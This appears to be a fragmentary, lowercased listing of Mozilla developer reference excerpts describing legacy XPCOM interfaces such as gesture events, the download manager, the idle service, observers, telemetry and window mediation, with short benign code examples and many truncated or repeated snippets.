... this interface describes a mouse or trackpad gesture event. 1.0 66 introduced gecko 1.9.1 inherits from: nsidommouseevent last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) the nsidomsimplegestureevent interface is the datatype for all mozilla-specific simple gesture events in the document object model. the following events are generated: mozsw
ipegesture - generated when the user completes a sw
ipe across across the input device. mozmagnifygesturestart - generated when the user begins the magnify ("pinch") gesture. the "delta" value represents the initial movement. mozmagnifygestureupdate - generated periodically while the user is continuing the magnify ("pinch") gesture. the "delta" value represents the movement since the last mozmagnif...
...for update events, this indicates the movement since the previous update; for the mozrotategesture and mozmagnifygesture events, this indicates the total movement that occurred while the event was being processed. the value is specified in degrees for rotation events (where positive values indicate clo...
...e value being either positive or negative. on windows, the units indicate the difference between the previous and current width between the two touch points, in pixels. direction unsigned long the direction in which the gesture moved. see direction constants and rotation constants on this page. read only. constants direction constants constant value descr
iption direction_up 1 upward sw
ipe. direction_down 2 downward sw
ipe. direction_left 4 leftward sw
ipe. direction_right 8 rightward sw
ipe. rotation constants constant value descr
iption rotation_counterclockwise 1 counter-clockwise rotation. rotation_clockwise 2 clockwise rotation. me...
nsIDOMWindowInternal
dom/interfaces/base/nsidomwindowinternal.idlscr
iptable this interface is part of a chain of interfaces used to represent a window in the dom. 66 introduced gecko 1.0 deprecated gecko 8.0 inherits from: nsidomwindow last changed in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) in gecko 8.0 this interface was merged into the nsidomwindow interface. this interface no longer has any members; it exists solely to prevent add-ons that reference it from failing completely. add-ons should be updated to use nsidomwindow instead. it provides many of the common functions used in javascr
ipt such as alert() or open(). note: because most of nsidomwindowinternal's functions and attributes are well documented in window, those articles are linked to rather than re-docu...
... self nsidomwindowinternal readonly: returns an object reference to the window object. navigator nsidomnavigator readonly: returns a reference to the navigator object. screen nsidomscreen readonly: returns a reference to the screen object associated with the window. ...
... readonly: returns an object reference to the window object. navigator nsidomnavigator readonly: returns a reference to the navigator object. screen nsidomscreen readonly: returns a reference to the screen object associated with the window. history nsidomhistory readonly: returns a reference to the history object, which provides an interface for man
ipulating the browser session history. content nsidomwindow readonly: returns a window object for the primary content window. prompter ns
iprompt readonly: menubar nsidombarprop readonly: returns the menubar object, whose visibility can be toggled in the window. toolbar nsidombarprop readonly: returns the toolbar object, whose visibility...
... returns the statusbar object, whose visibility can be toggled in the window. directories nsidombarprop readonly: returns the window directories toolbar object. closed boolean readonly: this property indicates whether the referenced window is closed or not. crypto nsidomcrypto readonly: returns the browser crypto object, which can then be used to man
ipulate various browser security features. pkcs11 nsidompkcs11 obsolete: this property is not supported in newer versions of firefox. controllers nsicontrollers readonly: returns the xul controllers of the chrome window. opener nsidomwindowinternal returns a reference to the window that opened this current window. status domstring sets the...
nsIDOMXPathResult
read only. invaliditeratorstate boolean true if the iterator state has become invalid. for example, modifying a node invalidates the iterator. read only. numbervalue double if resulttype is number_type, the numeric value of the xpath value. ...
...read only. invaliditeratorstate boolean true if the iterator state has become invalid. for example, modifying a node invalidates the iterator. read only. numbervalue double if resulttype is number_type, the numeric value of the xpath value. ...
...d_node_type or first_ordered_node_type, a single dom node. read only. snapshotlength unsigned long if resulttype is unordered_node_snapshot_type or ordered_node_snapshot_type, the length of the snapshort array. read only. stringvalue domstring if resulttype is string_type, the boolean value. read only. constants type constants constant value descr
iption any_type 0 used when evaluating an xpath expression; the evaluator will return the most appropriate type. number_type 1 type is a single number. string_type 2 type is a single string. boolean_type 3 type is a single boolean value. unordered_node_iterator_type 4 type is a reference to all the nodes matching the expressi...
...m node. snapshotitem() returns the specified node from what is essentially an array of resulting dom nodes. ...
nsIDOMXULElement
allowevents boolean true if the element's allowevents attribute is the string "true", otherwise false. ...
... gecko 1.0 inherits from: nsidomelement last changed in gecko 1.9 (firefox 3) method overview void blur(); void click(); void docommand(); void focus(); nsidomnodelist getelementsbyattribute(in domstring name, in domstring value); nsidomnodelist getelementsbyattributens(in domstring namespaceuri, in domstring name, in domstring value); attributes attribute type descr
iption align domstring gets/sets the value of the element's align attribute. allowevents boolean true if the element's allowevents attribute is the string "true", otherwise false. removes the attribute if you set it to false. boxobject nsiboxobject read only. gets or creates a box object for the element; browser, editor, iframe, listbox, menu, menupopup, scrollbox, toolt
ip and tree elements re...
... builder nsixultemplatebuilder read only. retrives the element's template builder, if it has a template. ...
... ref attribute. resource nsirdfresource read only. returns the nsirdfresource corresponding to the element's ref or id attribute, if any. statustext domstring gets/sets the value of the element's statustext attribute. style nsidomcssstyledeclaration read only. obsolete since gecko 1.9 returns an object that may be used to read or write individual css style properties for the element. toolt
ip domstring gets/sets the value of the element's toolt
ip attribute. toolt
iptext domstring gets/sets the value of the element's toolt
iptext attribute. top domstring gets/sets the value of the element's top attribute. width domstring gets/sets the value of the element's width attribute. methods blur() attempts to remove focus from the element. void blur(); parameters none. click() unless th...
nsIDownload
this interface is deprecated as of firefox 26. please use downloads.jsm instead. toolkit/components/downloads/public/nsidownload.idlscr
iptable this interface describes a download object. download objects are used by the download manager (see nsidownloadmanager to manage files that are queued to download, being downloaded, and finished being downloaded.) inherits from: nsitransfer last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) note: once the download is completed, the download manager stops updating the nsidownload object. ...
...ded.) inherits from: nsitransfer last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) note: once the download is completed, the download manager stops updating the nsidownload object. completed states are nsidownloadmanager::download_finished, nsidownloadmanager::download_failed, and nsidownloadmanager::download_canceled. attributes attribute type descr
iption amounttransferred long long the number of bytes downloaded so far. read only. cancelable nsicancelable an object that can be used to cancel the download. once the download is complete, this value is set to null. read only. displayname astring a user-readable descr
iption of the transfer. read only. id unsigned long the id by which ...
...read only. deprecated since gecko 19.0 guid astring the guid of the download that is stored in the database. ...
...read only. ...
nsIDownloadManager
inherits from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) implemented by: @mozilla.org/download-manager;1. ...
...read only. activedownloads nsisimpleenumerator an enumeration of active nsidownloads. read only. cancleanup boolean whether or not there are downloads that can be cleaned up (removed) that is downloads that have completed, have failed or have been canceled. read only. ...
... for files: 0: files are downloaded to the desktop by default. 1: files are downloaded to the system's downloads folder by default. 2: files are downloaded to the local path specified by the browser.download.dir preference. if this preference is invalid, the download directory falls back to the default. read only. constants constant value descr
iption download_notstarted -1 the download has not been started yet. download_downloading 0 the download is in the process of being downloaded. download_finished 1 download completed including any processing of the target file. download_failed 2 the download failed due to error. download_canceled 3 the user canceled the downl...
... in nsicancelable acancelable, in boolean aisprivate ); parameters adownloadtype the download type for the transfer. should always be set to nsidownloadmanager.download_type_download (that is, zero). asource the source uri of the transfer. must not be null. atarget the uri indicating where the transferred file should be stored. must not be null. adisplayname a user-readable descr
iption of the transfer. may be an empty string. amimeinfo the mime information associated with the target; this may include mime type and helper application when appropriate. this parameter is optional. astarttime the time at which the download began. atempfile the location of a temporary file (a file in which the received data will be stored but is not equal to the target file). the file will...
nsIDragSession
usually the target "frame" sets this so the native system can render the correct feedback. ...
...eracting with an ongoing drag session during a drag and drop operation. inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void getdata( in nsitransferable atransferable, in unsigned long aitemindex ); boolean isdataflavorsupported( in string adataflavor ); attributes attribute type descr
iption candrop boolean set the current state of the drag, whether it can be dropped or not. usually the target "frame" sets this so the native system can render the correct feedback. datatransfer nsidomdatatransfer the data transfer object for the current drag operation. dragaction unsigned long sets the action (copy, move, link and so on) for the curren...
... size of the frame that the drag is currently in. native code only! methods getdata() gets data from a drag and drop operation. can be called while the drag is in process or after the drop has completed. void getdata( in nsitransferable atransferable, in unsigned long aitemindex ); parameters atransferable the transferable for the data to be put into. aitemindex which of mult
iple drag items, zero-based. must be less than numdropitems. isdataflavorsupported() checks to see if any of the native data on the cl
ipboard matches a given data flavor. if numdropitems is greater than one, there is no indication as to which of the items matches the data flavor. boolean isdataflavorsupported( in string adataflavor ); parameters adataflavor a string representing the mime...
... matches a given data flavor. if numdropitems is greater than one, there is no indication as to which of the items matches the data flavor. boolean isdataflavorsupported( in string adataflavor ); parameters adataflavor a string representing the mime type of the data to be matched, such as "text/unicode". return value true if the specified flavor matches any of the native data on the cl
ipboard, otherwise false. ...
nsIEditorIMESupport
editor/idl/nsieditorimesupport.idlscr
iptable please add a summary to this article. inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void begincomposition(in nstexteventreplyptr areply); native code only! obsolete since gecko 2.0 void endcomposition(); obsolete since gecko 2.0 void forcecompositionend(); void getpreferredimestate(out unsigned long astate); native code only! void getquerycaretrect(in nsquerycaretrecteventreplyptr areply); native code only! obsolete since gecko 1.9.1 void getreconversionstring(in nsreconversioneventreplyptr areply); native code only! obsolete since gecko 1.9.1 void notifyimeonblur(); obsolete since gecko 1.9.1 void notifyimeonfocus(); obsolete since gecko 1.9.1...
...read only. methods native code only!begincomposition obsolete since gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1)this feature is obsolete. although it may still w...
...read only. ...
...itionstring obsolete since gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1)this feature is obsolete. ...
nsIHttpActivityObserver
if this is false, the observeactivity() method should not be called. ...
...rs. ...
...in acstring aextrastringdata); attributes attribute type descr
iption isactive boolean true when the interface is active and should observe http activity, otherwise false. if this is false, the observeactivity() method should not be called. read only. note: this attribute is present only for compatibility and should not be used. constants activity type constants constant value descr
iption activity_type_socket_transport 0x0001 socket transport activity has occurred. activity_type_http_transaction 0x0002 http transport activity has occurred. activity subtype constants constant value descr
iption activity_subtype_request_header 0x5001 the http request is about to be queued for sending. observers can look at request headers in aextrastringdata activity_subtype_reques...
...ity data depending on the values of the aactivitytype and aactivitysubtype fields, the aextrasizedata and aextrastringdata parameters take on different meanings. socket transport activity when the activity type is activity_type_socket_transport and the subtype is status_sending_to, the aextrasizedata parameter contains the number of bytes sent. because a single http transaction may consist of mult
iple chunks of data transmitted through separate socket writes, each socket activity notification will only reflect the number of bytes transmitted in that chunk. http transaction activity for activity notifications of type activity_type_http_transaction, there are three activities that include extra data: activity_subtype_request_header aextrastringdata contains the text of the header. activity_su...
nsIHttpChannelInternal
netwerk/protocol/http/nsihttpchannelinternal.idlscr
iptable an internal interface for http channels. using features exposed by this interface is not recommended, as it will change in unpredictable ways. ...
...read only. channelisfordownload boolean external handlers may set this to true to notify the channel that it is open on behalf of a download. documenturi nsiuri an http channel can own a reference to the document uri. forceallowthirdpartycookie boolean force relevant cookies to be sent with this load even if...
...been canceled. read only. channelisfordownload boolean external handlers may set this to true to notify the channel that it is open on behalf of a download. documenturi nsiuri an http channel can own a reference to the document uri. forceallowthirdpartycookie boolean force relevant cookies to be sent with this load even if normally they would not be. localaddress autf8string the local
ip address to which the channel is bound, in the same format produced by pr_netaddrtostring(). this may be either an
ipv4 or
ipv6 address. note: if network address translation (nat) is in effect, this may not be the same address the remote host thinks it is talking to. this may throw an ns_error_not_available exception if accessed when the channel's endpoints haven't been determined yet, or any time...
...server.isactive attribute is false. see bug 534698 and bug 526207. read only. localport print32 the local port number to which the channel is bound. this may throw an ns_error_not_available exception if accessed when the channel's endpoints haven't been determined yet, or any time the nsihttpactivityobserver.isactive attribute is false. see bug 534698 and bug 526207. read only. proxyinfo ns
iproxyinfo get the proxy info in use by the channel. read only. obsolete since gecko 1.9 remoteaddress autf8string the
ip address of the remote host to which this channel is bound, in the same format produced by pr_netaddrtostring(). this may throw an ns_error_not_available exception if accessed when the channel's endpoints haven't been determined yet, or any time the nsihttpactivityobserver.isa...
nsIIdleService
1.0 66 introduced gecko 1.9.1 inherits from: nsisupports last changed in gecko 16 (firefox 16 / thunderbird 16 / seamonkey 2.13) you can get the idle time directly, but in most cases you will want to register an observer for a predefined interval. the observer will get an 'idle' notification when the user is idle for that interval (or longer), and receive a 'back' (gecko 3 to 15) or 'active' (gecko 16+) notification when the user starts using their computer again. note: the idle service is for computer-wide idle detection, not just application idle detection. ...
...can be 0 if there is no valid idle time to report (this can happen if the user never interacted with the browser at all, and if we are unable to poll for idle time manually). read only. methods addidleobserver() add an observer to be notified when the user idles for ...
...nsiobserver observer, in unsigned long time ); parameters observer the nsiobserver to be notified. time the amount of time in seconds the user should be idle before the observer should be notified. removeidleobserver() remove an observer registered with addidleobserver(). note: removing an observer will remove it once, for the idle time you specify. if you have added an observer mult
iple times, you will need to remove it just as many times. void removeidleobserver( in nsiobserver observer, in unsigned long time ); parameters observer the nsiobserver to be removed. time the amount of time they were listening for. example example 1 var idleservice = components.classes["@mozilla.org/widget/idleservice;1"] .getservice(components.interfaces.nsiidle...
... parameters observer the nsiobserver to be removed. time the amount of time they were listening for. example example 1 var idleservice = components.classes["@mozilla.org/widget/idleservice;1"] .getservice(components.interfaces.nsiidleservice) settimeout(function() { alert(idleservice.idletime) }, 1000) // if you don't use the mouse or the keyboard after running this sn
ippet, // you'll see a number around 1000 alerted. example 2 var idleservice = components.classes["@mozilla.org/widget/idleservice;1"] .getservice(components.interfaces.nsiidleservice) var idleobserver = { observe: function(subject, topic, data) { alert("topic: " + topic + "\ndata: " + data); } }; idleservice.addidleobserver(idleobserver, 60); // one minute // ... // don...
nsILoginManagerCrypto
if the user is not logged in, performing a crypto operation will result in a master password prompt. read only. uibusy boolean true when a master password prompt is being displayed. read only. ...
...if the user is not logged in, performing a crypto operation will result in a master password prompt. read only. uibusy boolean true when a master password prompt is being displayed. read only. ...
...if the user is not logged in, performing a crypto operation will result in a master password prompt. read only. uibusy boolean true when a master password prompt is being displayed. read only. ...
...t login state of the token used for encryption. if the user is not logged in, performing a crypto operation will result in a master password prompt. read only. uibusy boolean true when a master password prompt is being displayed. read only. methods decrypt() decrypts the specified string, returning the plain text value. can throw if the user cancels entry of their master password, or if the c
iphertext value can not be successfully decrypted (for example, if it was encrypted with some other key). astring decrypt( in astring c
iphertext ); parameters c
iphertext the string to be decrypted. return value the decrypted string. encrypt() encrypts the specified string, returning the c
iphertext value. note: the current implemention of this inferface simply uses nss/psm's "secret decoder rin...
nsIMessageListener
om one of the three message-sending functions in the message manager framework: broadcastasyncmessage sendasyncmessage sendsyncmessage. the received message is an object with the following properties: target the target of the message. either an element owning the message manager, or the message manager itself if no element owns it. if the message was sent from a frame scr
ipt using a nsicontentframemessagemanager, then this property is the xul <browser> element for the frame from which the message was sent. name the message name. this is the first argument passed into the message-sending function. sync true if the message was sent using sendsyncmessage, false otherwise. data a structured clone of the message payload: the second...
...e message was sent using sendsyncmessage, false otherwise. data a structured clone of the message payload: the second argument passed into the message-sending function. json same as data. deprecated. objects an object whose properties are any cross process object wrappers exposed by the sender as the third argument to the message-sending function. ...
... sent using sendsyncmessage, false otherwise. data a structured clone of the message payload: the second argument passed into the message-sending function. json same as data. deprecated. objects an object whose properties are any cross process object wrappers exposed by the sender as the third argument to the message-sending function. ...
...er as the third argument to the message-sending function. princ
ipal princ
ipal for the window app. each listener is invoked with its own copy of the message parameter. when the listener is called, 'this' value is the target of the message. if the message is synchronous, the possible return value is returned as json (will be changed to use structured clones). when there are mult
iple listeners to synchronous messages, each listener's return value is sent back as an element in an array. undefined return values show up as undefined values in the array. ...
nsIObserver
you should not modify, add, remove, or enumerate notifications in the implementation of this method. ...
...ifications are often, though not always, broadcast via the nsiobserverservice. inherits from: nsisupports last changed in gecko 0.9.6 method overview void observe(in nsisupports asubject, in string atopic, in wstring adata); methods observe() this method will be called when there is a notification for the topic that the observer has been registered for. if you expect mult
iple topics/subjects, the implementor is responsible for filtering. you should not modify, add, remove, or enumerate notifications in the implementation of this method. void observe( in nsisupports asubject, in string atopic, in wstring adata ); parameters asubject in general reflects the object whose change or action is being observed. atopic indicates the specific change or action.
...action is being observed. atopic indicates the specific change or action. adata an optional parameter or other auxiliary data further describing the change or action. remarks the specific values and meanings of the parameters provided varies widely, though, according to where the observer was registered, and what topic is being observed. a single nsiobserver implementation can observe mult
iple types of notification, and is responsible for dispatching its own behavior on the basis of the parameters for a given callback. in general, atopic is the primary criterion for such dispatch; nsiobserver implementations should take care that they can handle being called with unknown values for atopic. the most common implementation of nsiobserverservice is the xpcom observer service. with this ...
...ove other observers. be careful, though, because other uses of nsiobserver may not support these operations correctly within observe. example the following code is an implementation of nsiobserver that is registered to receive notifications for the "mytopicid" topic. see observer notifications for a list of built-in topics possible. observing preferences works slightly differently. see code sn
ippets:preferences - using preference observers for an example. function myobserver() { this.register(); } myobserver.prototype = { observe: function(subject, topic, data) { // do your stuff here. }, register: function() { var observerservice = components.classes["@mozilla.org/observer-service;1"] .getservice(components.interfaces.nsiobserverservice); ...
nsIOutputStream
inherits from: nsisupports last changed in gecko 1.0 an output stream may be "blocking" or "non-blocking" (see the isnonblocking() method). a blocking output stream may suspend the calling thread in order to satisfy a call to close(), flush(), write(), writefrom(), or writesegments(). a non-blocking output stream, on the other hand, must not block the calling thread of execution. note: blocking output streams are often written to on a background thread to avoid locking up the main application thread. for this reason, it is generally the case that a blocking output stream should be implemented using thread-safe addref and release. ...
...unable to accept any data without blocking. boolean isnonblocking(); parameters none. return value true if stream is non-blocking. exceptions thrown ns_base_stream_would_block a non-blocking stream may throw this exception when written to if space for the data is not immediately available. write() this method copies data from a buffer into the stream. note: though this method is scr
iptable, javascr
ipt code must only pass an ascii character string as the abuf parameter. c++ code may however pass any arbitrary binary data, including data with embedded null bytes. unsigned long write( in string abuf, in unsigned long acount ); parameters abuf the buffer containing the data to be written. acount the size of the buffer, or the maximum number of bytes to copy from the b...
...ethod. typically, output streams that do not have an internal buffer will not implement this method since such an implementation would require an intermediate buffer unless afromstream supported nsiinputstream.readsegments(), but that is not guaranteed. native code only!writesegments low-level write method that has access to the stream's underlying buffer. the reader function may be called mult
iple times for segmented buffers. this method is expected to keep calling the reader until either there is nothing left to write or the reader returns an error. this method should not call the reader with zero bytes to provide. note: a nsioutputstream is not required to implement this method. in some contexts, writesegments may be guaranteed to be implemented, but in general it is not. this method ...
...bytes to provide. note: a nsioutputstream is not required to implement this method. in some contexts, writesegments may be guaranteed to be implemented, but in general it is not. this method serves as an optimization. unsigned long writesegments( in nsreadsegmentfun areader, in voidptr aclosure, in unsigned long acount ); parameters areader a callback function that may be called mult
iple times. see nsreadsegmentfun for more details on this function. aclosure a parameter that is passed to areader each time it is called. acount the maximum number of bytes to write to the stream. return value this method returns the number of bytes written to the stream (may be less than acount). exceptions thrown ns_base_stream_would_block indicates that writing to the output stream w...
nsIScreen
inherits from: nsisupports last changed in gecko 13.0 (firefox 13.0 / thunderbird 13.0 / seamonkey 2.10) use nsiscreenmanager to obtain references to screens. ...
...read only. pixeldepth long the screen's pixel depth; this is the number of bits used to represent a pixel. read only. rotation unsigned long the screen's current rotation; you may set this to any of the values listed in screen rotation constants. this wi...
...ts. this will only have an effect on platforms that support screen rotation. gecko 1.9.2 note starting in gecko 1.9.2, gecko running on microsoft windows reports 24 bits per pixel instead of 32 bits per pixel on 8-bits per color component displays, since this is typically what the caller is actually looking for. ...
... rotation_90_deg 1 90? of rotation. rotation_180_deg 2 180? of rotation. rotation_270_deg 3 270? of rotation. methods getavailrect() returns a rectangle indicating the portion of the screen that is available for use. ...
nsISearchEngine
netwerk/base/public/nsibrowsersearchservice.idlscr
iptable please add a summary to this article. last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsisupports method overview void addparam(in astring name, in astring value, in astring responsetype); nsisearchsubmission getsubmission(in astring data, [optional] in astring responsetype, [optional] in astring purpose); boolean supportsresponsetype(in astring responsetype); attributes attribute type descr
iption alias astring an optional shortcut alias for the engine. when non-null, this is a unique identifier. ...
...read only. ...
...read only. hidden boolean whether the engine should be hidden from the user. ...
...y. name astring the display name of the search engine. this is a unique identifier. read only. searchform astring a url string pointing to the engine's search form. read only. type long the search engine type. read only. constants search engine type constants constant value descr
iption type_mozsearch 1 type_sherlock 2 type_opensearch 3 search engine data type constants constant value descr
iption data_xml 1 data type is xml data_text 2 data type is text. methods addparam() adds a paramet...
nsITelemetry
toolkit/components/telemetry/nsitelemetry.idlscr
iptable a service to gather performance data that can be tracked over time to allow generating histograms. 1.0 66 introduced gecko 6.0 inherits from: nsisupports last changed in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) implemented by: @mozilla.org/base/telemetry;1 as a service: let telemetry = components.classes["@mozilla.org/base/telemetry;1"] .getservice(components.interfaces.nsitelemetry); method overview jsval gethistogrambyid(in acstring id); jsval snapshothistograms(in uint32_t adataset, in boolean asubsession, in boolean aclear); jsval getkeyedhistogrambyid(in acstring id); void capturestack(in acstring name); jsva...
...this is true if the fhr data reporting service or the self-support service is enabled. canrecordextended boolean a flag indicating if telemetry is allowed to record extended data. returns false if the user has not opted into "extended telemetry" on the release channel, when t...
...ram_exponential or histogram_linear counts - an array representing the values of buckets in the histogram. ranges - an array with corresponding bucket sizes. sum - sum of the counts array. static - true for histograms defined in histograms.json, false for ones defined with newhistogram(). read only. constants histogram types constant value descr
iption histogram_exponential 0 buckets increase exponentially. histogram_linear 1 buckets increase linearly. histogram_boolean 2 for storing 0/1 values. histogram_flag 3 for storing a single value; its count is always == 1. histogram_count 4 for storing counter values without bucketing. histogram_categorical 5 ...
...ar 1 buckets increase linearly. histogram_boolean 2 for storing 0/1 values. histogram_flag 3 for storing a single value; its count is always == 1. histogram_count 4 for storing counter values without bucketing. histogram_categorical 5 for storing enumerated values by label. scalar types constant value descr
iption scalar_type_count 0 for storing a numeric value. scalar_type_string 1 for storing a string value. scalar_type_boolean 2 for storing a boolean value. dataset types constant value descr
iption dataset_release_channel_optout 0 the basic dataset that is on-by-default on all channels. dataset_release...
nsITreeBoxObject
the nsitreeboxobject interface contains information about the size and layout of a tree. further information about trees is given in the xul tutorial. /layout/xul/base/src/tree/public/nsitreeboxobject.idlscr
iptable please add a summary to this article. last changed in gecko 1.9 (firefox 3) inherits from: nsisupports to get the treeboxobject for a tree: let boxobject = tree.boxobject; boxobject.queryinterface("components.interfaces.nsitreeboxobject"); or simply: let boxobject = tree.treeboxobject; method overview long getfirstvisiblerow(); long getlastvisiblerow(); long getpagelength(); void ensurerowisvisible(in long index); void ensurecellisvisible(in long row, in nsitreecolumn col); void scrolltorow(in long index); ...
... view nsitreeview the view that backs the tree and that supplies it with its data. it is dynamically settable, either using a view attribute on the tree tag or by setting this attribute to a new value. focused boolean whether or not we are currently focused. treebody nsidomelement r...
...treebody nsidomelement readonly: obtain the treebody content node. this is a node that corresponds to the treechildren tag. rowheight long readonly: obtain the height of a row. rowwidth long readonly: obtain the width of a row. horizontalposition long readonly: get the pixel position of the horizontal scrollbar. selectionregion nsiscr
iptableregion readonly: return the region for the visible parts of the selection, in device pixels. methods getfirstvisiblerow() get the index of the first visible row. long getfirstvisiblerow(); getlastvisiblerow() get the index of the last visible row. long getlastvisiblerow(); getpagelength() gets the number of possible visible rows. long getpagelength(); ensurerowisvisible() ensur...
...a cell is being cropped or not. boolean iscellcropped(in long row, in nsitreecolumn col); parameters row the index of the row col the nsitreecolumn rowcountchanged() notify the tree that the number of rows changed. the view is responsible for calling this notification method when rows are added or removed. for non-contiguous additions/removals, this method should be called mult
iple times. void rowcountchanged(in long index, in long count); parameters index the position at which the new rows were added or at which rows were removed. count the number of rows added or removed. use negative values for removed rows. example you deleted the row with index rowindex. inform the tree about this change by calling rowcountchanged(rowindex+1, -1); beginupdatebatc...
nsIWebBrowser
embedders use this interface during initialization to associate the new web browser instance with the embedders chrome and to register any listeners. the interface may also be used at runtime to obtain the content dom window and from that the rest of the dom. inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) warning: this interface was frozen for a very long time, but was unfrozen for gecko 2.0. ...
...anged in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) warning: this interface was frozen for a very long time, but was unfrozen for gecko 2.0. method overview void addwebbrowserlistener(in nsiweakreference alistener, in nsiidref aiid); void removewebbrowserlistener(in nsiweakreference alistener, in nsiidref aiid); attributes attribute type descr
iption containerwindow nsiwebbrowserchrome the chrome object associated with the browser instance. the embedder must create one chrome object for each browser object that is instantiated. the embedder must associate the two by setting this property to point to the chrome object before creating the browser window via the browser's nsibasewindow interface. the chrome object mus...
...ach browser object that is instantiated. the embedder must associate the two by setting this property to point to the chrome object before creating the browser window via the browser's nsibasewindow interface. the chrome object must also implement nsiembeddingsitewindow. the chrome may optionally implement nsiinterfacerequestor, nsiwebbrowserchromefocus, nsicontextmenulistener and nsitoolt
iplistener to receive additional notifications from the browser object. the chrome object may optionally implement nsiwebprogresslistener instead of explicitly calling addwebbrowserlistener() and removewebbrowserlistener() to register a progress listener object. if the implementation does this, it must also implement nsiweakreference. note: the implementation should not refcount the supplied...
...id of the interface on the listener that will no longer be called. return value ns_ok listener was successfully added. ...
nsIWebNavigation
it provides methods and attributes to direct an object to navigate to a new location, stop or restart an in process load, or determine where the object has previously gone. inherits from: nsisupports last changed in gecko 1.9 (firefox 3) this interface is implemented by the following components: * @mozilla.org/browser/shistory-internal;1 * @mozilla.org/browser/shistory;1 * @mozilla.org/embedding/browser/nswebbrowser;1 * @mozilla.org/docshell;1 gecko 1.9.2 note in gecko 1.9.2 (firefox 3.6), the @mozilla.org/webshell;1 component no longer exists; you need to use @mozilla.org/docshell;1 instead. ...
... load_flags_none 0 this is the default value for the load flags parameter. load_flags_is_refresh 16 this flag specifies that the load should have the semantics of an html meta-refresh tag (that is, that the cache should be bypassed). this flag is only applicable to load...
...g incorrectly can cause us to assume that nothing was actually loaded in this object if the load ends up being handled by an external application. load_flags_allow_popups 32768 this flag specifies that the load should not be subject to popup blocking checks. note for valid load flag combinations look here nsdocshellloadtypes.h stop flags constant value descr
iption stop_network 1 this flag specifies that all network activity should be stopped. this includes both active network loads and pending meta-refreshes. stop_content 2 this flag specifies that all content activity should be stopped. this includes animated images, plugins and pending javascr
ipt timeouts. stop_all 3 this flag specifies that all activity s...
...activity should be stopped. this includes both active network loads and pending meta-refreshes. stop_content 2 this flag specifies that all content activity should be stopped. this includes animated images, plugins and pending javascr
ipt timeouts. stop_all 3 this flag specifies that all activity should be stopped. attributes attribute type descr
iption cangoback prbool indicates if the object can go back. if true this indicates that there is back session history available for navigation. read only. cangoforward prbool indicates if the object can go forward. if true this indicates that there is forward session history available for navigation. read only. currenturi nsiuri the currently loaded uri...
nsIWindowMediator
inherits from: nsisupports last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) the two most common uses of nsiwindowmediator are, enumerating all windows of a given type and getting the most recent / any window of a given type. ...
... zlevelbottom 2 send window to bottom. zlevelbelow 3 place window below some window. methods addlistener() register a listener for window status changes. void addlistener( in nsiwindowmediatorlistener alistener ); parameters alistener the listener to register. example: of window listener object an...
...ndow listener object and how to register then unregister. this example below waits for listens to when a window opens, and then after that window opens it adds event listener to listen to when the window completes loading, after that it fires a function. important: this will attach the functionality to future opened windows, so if you copy paste this code to scratchpad, then after running this scr
ipt, you need to open a new window by pressing ctrl + n and then in the new window, selecting tabs will fire the alert. var {cc: classes, ci: interfaces} = components; var windowlistener = { onopenwindow: function (awindow) { // wait for the window to finish loading let domwindow = awindow.queryinterface(ci.nsiinterfacerequestor).getinterface(ci.nsidomwindowinternal || ci.nsido...
...wser". if you want to enumerate all windows regardless of type, specify null. note: in nsiwindowmediator's reference page the return type of getmostrecentwindow and the type of enumerator's elements is said to be nsidomwindow/nsidomwindowinternal. in fact, those methods usually (always?) return a chromewindow object, implementing both of those interfaces and a few others, when called from javascr
ipt code. the global window object you're probably familiar with is of chromewindow type. see also working with windows in chrome code ...
Using IndexedDB in chrome
the indexeddb api is typically used to store data in the user's browser from content javascr
ipt. (see using indexeddb for an overview.) however, the apis can also be accessed from system-privileged javascr
ipt using the components.utils.importglobalproperties() function: components.utils.importglobalproperties(["indexeddb"]); // from here on, it's like using indexeddb from content var req = indexeddb.open("my-database"); // ... ...
...ortglobalproperties() function: components.utils.importglobalproperties(["indexeddb"]); // from here on, it's like using indexeddb from content var req = indexeddb.open("my-database"); // ... ...
...mponents.utils.importglobalproperties(["indexeddb"]); // from here on, it's like using indexeddb from content var req = indexeddb.open("my-database"); // ... ...
...operties(["indexeddb"]); // from here on, it's like using indexeddb from content var req = indexeddb.open("my-database"); // ... if you are creating a sandbox, and want indexeddb to be available in it, use the wantglobalproperties option in the sandbox constructor: var options = { "wantglobalproperties": ["indexeddb"] } var princ
ipal = cc["@mozilla.org/systemprinc
ipal;1"].createinstance(ci.ns
iprinc
ipal); var sandbox = components.utils.sandbox(princ
ipal, options); // the sandbox will have access to indexeddb var sandboxscr
ipt = 'var req = indexeddb.open("my-database");'; components.utils.evalinsandbox(sandboxscr
ipt, sandbox); before firefox 33, you would access indexeddb from chrome code using the initwindowless method of the nsiindexeddatabasemanager service. this method was removed ...
Weak reference
r reference. this isn't always appropriate, and can lead to trouble. if, for instance, this owning reference is part of a cycle of owning references (e.g., if the referenced object also holds a owning reference back to you), then none of the objects in the cycle can be reclaimed without taking special measures. there are less severe situations. a naive design for an observer/observable relationsh
ip would require the observable to hold a owning reference to the observer. after all, the observable must send messages to each observer, notifying it of the appropriate state changes. to do that, it will call a method on the observer, so it needs a pointer. and the call would fail if the pointer were allowed to dangle, therefore, the pointer should be a owning reference. this design, however, is f...
...ervable, which then releases its owning reference, allowing the observer to die, or else a new kind of reference. this document describes an implementation ofweak references. a weak reference does not hold its referent in existence, but also will not dangle. when the referent is destroyed, the weak reference automatically becomes nsnull. this technique can significantly simplify certain relationsh
